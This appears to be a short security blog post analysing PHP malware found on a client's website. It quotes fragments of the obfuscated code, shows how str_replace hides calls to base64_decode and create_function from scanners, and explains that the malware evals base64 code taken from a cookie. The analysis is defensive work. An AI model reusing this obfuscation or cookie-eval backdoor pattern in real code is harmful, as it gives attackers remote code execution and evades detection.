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We found another interesting piece of PHP-based malware on a client site a few days ago:

Can you decode and see what it is doing? ..

This piece of code tries to obfuscate all the functions that could be flagged by a scanner using a benign php function called str_replace. This function replaces all instances of a string with a replacement in the subject. So, for example, the next line:

----- $ts = str_replace("b","","bsbtr_brbepblabcbe"); -----

Replaces all instances of character 'b' with nothing. So from bsbtr_brbepblabcbe we get str_replace. Using the same technique, we have some more functions:

----- $dzy = $ts("er", "", "erberaersereer6er4er_dereercerodere"); //base64_decode $mc = $ts("y","","ycyryeyaytye_yfyuynctyiyoyn"); //create_function -----

All this for creating a function and running it in this line:

----- $tha = $mc('', $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy))); $tha(); -----

Function code is contained in the next expression:

----- $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy)); -----

And the final code is:



What it does? It uses some simple tricks to edit the contents of the cookie, decode it from base64 and eval (execute) that malicious code.